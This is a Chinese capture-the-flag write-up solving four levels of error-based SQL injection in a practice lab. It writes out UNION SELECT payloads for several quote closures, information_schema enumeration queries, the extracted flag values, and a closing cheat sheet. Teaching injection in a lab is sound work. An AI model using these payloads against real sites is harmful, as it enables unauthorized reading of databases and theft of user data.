SQL注入----显错注入Rank1--4

4.1.1 SQL注入-显错注入 Rank 1

1.判断是否存在注入点:

在正常输入后面添加and 1=1 #查看是否正常回显。如果一切正常说明该处存在注入点。
SQL注入----显错注入Rank1--4

2.猜解字段数

每一个数据库查询语句的结果都是一个表格,使用order by查询字段数,尝试到页面返回错误得出字段数。
SQL注入----显错注入Rank1--4
SQL注入----显错注入Rank1--4
SQL注入----显错注入Rank1--4
SQL注入----显错注入Rank1--4
得出字段数为3

3.查询联合输出点

用and 1=2 union select 1,2,3#查询(或者 union select 1,2,3#),使用了一个and 1=2让前半句查询失效,这样查询的结果就是1,2,3在页面中查找输出,发现是2,3,就表明查询的第2,3个字段是输出点。
SQL注入----显错注入Rank1--4

4.查询数据库名

and 1=2 union select 1,2, database()#
and 1=2 union select 1,3, database()#
SQL注入----显错注入Rank1--4
SQL注入----显错注入Rank1--4
得出数据库名为error

5.查询数据库(error)下的表名

union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘error’#
SQL注入----显错注入Rank1--4

6.查询表中的字段

union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘error_flag’#
union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘user’#
SQL注入----显错注入Rank1--4
SQL注入----显错注入Rank1--4

7.通过获取的数据库名,表名,字段名来查询字段内容

and 1=2 union select 1,Id,flag from error_flag limit 0,1#
SQL注入----显错注入Rank1--4
得出flag值为:zKaQ-Nf

4.1.2-SQL注入-显错注入Rank 2

1.判断是否存在注入点:

SQL注入----显错注入Rank1--4
存在单引号闭合,所以在正常输入后面添加 ’ and 1=1 --+(–+注释掉后面的’)查看是否正常回显。如果一切正常说明该处存在注入点。
SQL注入----显错注入Rank1--4

2.猜解字段数

每一个数据库查询语句的结果都是一个表格,使用 ’ order by数字–+ 查询字段数,尝试到页面返回错误得出字段数。
SQL注入----显错注入Rank1--4
SQL注入----显错注入Rank1--4
SQL注入----显错注入Rank1--4
SQL注入----显错注入Rank1--4
得出字段数是3

3.查询联合输出点

用语句 ’ and 1=2 union select 1,2,3–+查询(或者 ’ union select 1,2,3#),使用了一个and 1=2让前半句查询失效,这样查询的结果就是1,2,3在页面中查找输出,发现是2,3,就表明查询的第2,3个字段是输出点。
SQL注入----显错注入Rank1--4

4.查询数据库名

’ and 1=2 union select 1,2, database() --+
’ and 1=2 union select 1,3, database() --+
SQL注入----显错注入Rank1--4
SQL注入----显错注入Rank1--4

5.查询数据库(error)下的表名

’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘error’ --+
SQL注入----显错注入Rank1--4
得出两个表名分别为:error_flag,user

6.查询表中的字段

’ union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘error_flag’ --+
’ union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘user’ --+
SQL注入----显错注入Rank1--4
SQL注入----显错注入Rank1--4

7.通过获取的数据库名,表名,字段名来查询内容

’ and 1=2 union select 1,Id,flag from error_flag limit 1,1 --+
SQL注入----显错注入Rank1--4
得出flag值为zKaQ-BJY

4.1.3-SQL注入-显错注入Rank 3

1.判断是否存在注入点:

这里存在’)闭合,所以在正常输入后面添加 ‘)and 1=1 --+( --+注释掉’))查看是否正常回显。如果一切正常说明该处存在注入点。

SQL注入----显错注入Rank1--4
SQL注入----显错注入Rank1--4

2.猜解字段数

每一个数据库查询语句的结果都是一个表格,使用 ’ )order by数字 --+ 查询字段数,尝试到页面返回错误得出字段数。
SQL注入----显错注入Rank1--4
SQL注入----显错注入Rank1--4
SQL注入----显错注入Rank1--4
SQL注入----显错注入Rank1--4
字段数为3

3.查询联合输出点

用语句 ’ ) and 1=2 union select 1,2,3 --+查询(或者 ’ ) union select 1,2,3#),使用了一个and 1=2让前半句查询失效,这样查询的结果就是1,2,3在页面中查找输出,发现是2,3,就表明查询的第2,3个字段是输出点。
SQL注入----显错注入Rank1--4

4.查询数据库名

’ ) and 1=2 union select 1,2, database() --+
’ ) and 1=2 union select 1,3, database() --+

SQL注入----显错注入Rank1--4
SQL注入----显错注入Rank1--4

5.查询数据库(error)下的表名

’ ) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘error’ --+
SQL注入----显错注入Rank1--4
error数据库下有两个表分别为error_flag和user

6.查询表中的字段

’ ) union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘error_flag’ --+
’ ) union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘user’ --+
SQL注入----显错注入Rank1--4
SQL注入----显错注入Rank1--4

7.通过获取的数据库名,表名,字段名来查询内容

’ ) and 1=2 union select 1,Id,flag from error_flag limit 1,2 --+
SQL注入----显错注入Rank1--4
得出flag值:zKaQ-XiaoFang

4.1.4-SQL注入-显错注入Rank 4

1.判断是否存在注入点:

这里存在 ")闭合,所以在正常输入后面添加 “)and 1=1 --+( --+注释掉”))查看是否正常回显。如果一切正常说明该处存在注入点。
SQL注入----显错注入Rank1--4
SQL注入----显错注入Rank1--4

2.猜解字段数

每一个数据库查询语句的结果都是一个表格,使用 " )order by数字 --+ 查询字段数,尝试到页面返回错误得出字段数。SQL注入----显错注入Rank1--4
SQL注入----显错注入Rank1--4
SQL注入----显错注入Rank1--4
SQL注入----显错注入Rank1--4
得出字段数为3

3.查询联合输出点

用语句 ") and 1=2 union select 1,2,3 --+查询(或者 ") union select 1,2,3#),使用了一个and 1=2让前半句查询失效,这样查询的结果就是1,2,3在页面中查找输出,发现是2,3,就表明查询的第2,3个字段是输出点。
SQL注入----显错注入Rank1--4

4.查询数据库名

") and 1=2 union select 1,2, database() --+
") and 1=2 union select 1,3, database() --+
SQL注入----显错注入Rank1--4
SQL注入----显错注入Rank1--4

5.查询数据库(error)下的表名

") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘error’ --+
SQL注入----显错注入Rank1--4

6.查询表中的字段

") union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘error_flag’ --+
") union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘user’ --+
SQL注入----显错注入Rank1--4
SQL注入----显错注入Rank1--4

7.通过获取的数据库名,表名,字段名来查询内容

") and 1=2 union select 1,Id,flag from error_flag limit 2,2 --+
SQL注入----显错注入Rank1--4
得出flag值为:zKaq-98K

猜解字段数:order by 数字
联合查询输出点:union select 1,2,…
查询数据库名:union select 1,2,database()
查询数据下的表名:union select 1,2,group_concat(table_name) from
information_schema.tables where table_schema=‘数据库名’
查询表中字段:union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘表名’
查询字段内容:union select 1,字段名 from 表名 limit 0,1